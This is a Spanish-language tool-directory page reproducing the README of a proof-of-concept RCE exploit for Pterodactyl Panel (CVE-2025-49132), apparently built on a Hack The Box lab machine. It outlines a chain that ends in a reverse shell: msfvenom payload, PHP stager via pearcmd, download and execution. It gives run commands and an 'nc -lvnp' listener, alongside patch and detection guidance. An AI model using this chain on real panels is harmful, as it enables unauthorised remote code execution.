Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HTB-Pterodactyl-RCE-CVE-2025-49132 — Este repositorio contiene un exploit RCE para la máquina htb Pterodactyl | Kitploit
Herramientas/GitHubGitHub/symphony2colour/htb-pterodactyl-rce-cve-2025-49132
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHub
symphony2colour/htb-pterodactyl-rce-cve-2025-49132

HTB-Pterodactyl-RCE-CVE-2025-49132

Este repositorio contiene un exploit RCE para la máquina htb Pterodactyl

Ver Repositorio
12hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Pterodactyl Panel Locale RCE (CVE-2025-49132) — PoC Educativo

scope cve python license

Solo para pruebas autorizadas y aprendizaje defensivo.
Este repositorio está destinado a entornos de laboratorio controlados (por ejemplo, configuraciones estilo CTF/HTB) donde usted es propietario del objetivo o tiene*permiso explícito por escrito para probarlo.

Contexto

Este repositorio contiene un proof-of-concept educativo en Python (pterodactyl_rce.py) para una vulnerabilidad del mundo real que afecta a Pterodactyl Panel versiones anteriores a v1.11.11. En configuraciones vulnerables, un atacante no autenticado puede lograr ejecución remota de código a través del endpoint /locales/locale.json debido al manejo inadecuado de los parámetros locale y .

namespace

Esta variante del PoC apunta a entornos donde PHP-PEAR está instalado y se construyó/validó contra la máquina retirada de Hack The Box Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl. También puede funcionar en otras configuraciones de laboratorio donde se cumplan las mismas condiciones.

Referencia de vulnerabilidad

  • Aviso de GitHub: GHSA-24wv-6c99-f843 (CVE-2025-49132)
  • Afectado: Pterodactyl Panel < 1.11.11
  • Corregido en: v1.11.11 (commit del parche 24c82b0…)

Idea de alto nivel (cómo funciona el PoC)

A alto nivel, el PoC encadena estos pasos:

  1. Genera un payload ELF de reverse TCP Linux x64 con msfvenom.
  2. Sirve ese ELF usando un servidor HTTP (una solicitud, luego sale).
  3. Abusa del manejo vulnerable de /locales/locale.json para escribir un "stager" PHP en /tmp (a través de un truco PEAR pearcmd config-create).
  4. Activa el stager a través del endpoint de locales para que:
    • descargue el ELF en /tmp,
    • lo haga ejecutable,
    • lo ejecute para conectarse de vuelta a su listener.

El script utiliza un cliente HTTP sin procesar en lugar de curl para el paso de "subida" porque algunas herramientas pueden normalizar o codificar caracteres de una manera que rompe la solicitud manipulada.

Nota: Este README se mantiene intencionalmente a un nivel defensivo/educativo. Use el código solo en entornos donde tenga permiso para probar.


Requisitos (local)

  • Python 3.10+ (probado solo con biblioteca estándar)
  • msfvenom disponible en $PATH (Metasploit Framework)
  • nc (netcat) si desea que el PoC inicie un auto-listener
  • Acceso de red entre su máquina de laboratorio y su instancia de laboratorio de Pterodactyl

Configuración

El script actualmente espera un nombre de host del panel HTB en el código fuente:

root@kitploit:~
host = "panel.pterodactyl.htb"

Además, la ruta codificada a PHP-PEAR está configurada como: ../../../../../usr/share/php/PEAR. Si está probando esto fuera de la máquina Pterodactyl, deberá ajustar esta ruta según su configuración local.


Uso (solo laboratorio controlado)

1) Ejecución básica (auto-listener habilitado)

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT>
  • <LHOST>: su IP de callback accesible por el servidor de laboratorio
  • <LPORT>: puerto para recibir la reverse shell

2) Ejecución sin auto-listener

Si prefiere ejecutar su propio listener:

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen

Luego, en otra terminal:

root@kitploit:~
nc -lvnp <LPORT>

Ejemplo (placeholder)

root@kitploit:~
python3 pterodactyl_rce.py 10.10.14.225 5555

Salida / qué esperar

  • Genera un payload ELF (nombre de archivo aleatorio como shell_ab12cd34)
  • Inicia un servidor HTTP de un solo uso en :8080
  • Crea un stager PHP en /tmp/<random>.php
  • Activa el stager
  • Elimina el archivo ELF local después de la activación
  • Imprime un consejo para mejorar su shell (PTY)

Captura de pantalla de la explotación exitosa:

Reverse shell


Problemas conocidos / Notas de laboratorio

  • Inestabilidad del laboratorio: La máquina/servicio objetivo puede ser inestable (timeouts, 5xx intermitentes, ejecución retrasada). Si una ejecución falla, reintente después de una breve pausa.
  • Reutilización de payload antiguo: El entorno puede activar ocasionalmente un archivo subido/stageado anterior. El script limpia solo un archivo local en la máquina atacante pero no toca el archivo en la carpeta /tmp/ de la máquina. Soluciones alternativas:
    • Re-ejecutar con un nuevo nombre de payload aleatorio (comportamiento predeterminado en este script).
    • Cambiar el puerto inicial de http.server de 8080 a otro puerto.
    • Cambiar su puerto de listener (por ejemplo, 4444 → 5555) y regenerar el payload.
    • Asegurarse de que su servidor HTTP esté sirviendo el archivo actual (detener cualquier servidor/listener anterior).
    • Si tiene acceso, eliminar manualmente los artefactos antiguos /tmp/<name>.php en el objetivo; de lo contrario, espere un tiempo y reintente.

Guía defensiva (qué corregir / cómo detectar)

Parche / mitigación

  • Actualizar a Pterodactyl Panel v1.11.11 o posterior.
  • No hay una solución alternativa dentro de la aplicación además de parchear; puede bloquear el endpoint /locales/locale.json a nivel del servidor web, pero podría romper las funciones de localización.

Ideas de detección

Busque solicitudes sospechosas como:

  • Solicitudes a /locales/locale.json con secuencias de traversal inusuales en locale=
  • Valores extraños de namespace= (nombres inesperados, cadenas largas, caracteres extraños)
  • Creación repentina de archivos inesperados en /tmp/ en el host del panel

Correlacione los registros web con:

  • nuevos procesos generados por el usuario www / PHP-FPM
  • conexiones salientes a destinos/puertos no estándar
  • uso inesperado de curl/wget desde el host del panel

Notas sobre el uso responsable

No escanee ni pruebe instancias públicas. Si es operador de una instancia vulnerable, trate esto como crítico y parchee de inmediato.


Agradecimientos / Gracias

  • PoC original: Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID: 52341, CVE-2025-49132) por Zen-kun04
    https://www.exploit-db.com/exploits/52341
  • Crédito del reportero/descubrimiento: El aviso de GitHub acredita a @azimoff337 por reportar GHSA-24wv-6c99-f843 / CVE-2025-49132.
  • Base de datos de avisos de GitHub / proceso CVE: por rastrear y publicar los detalles de la vulnerabilidad.
  • Hack The Box (HTB): este PoC se construyó/validó en un entorno de laboratorio controlado estilo HTB para aprendizaje e investigación defensiva.
    Sin spoilers para contenido activo de HTB.
Descargar herramienta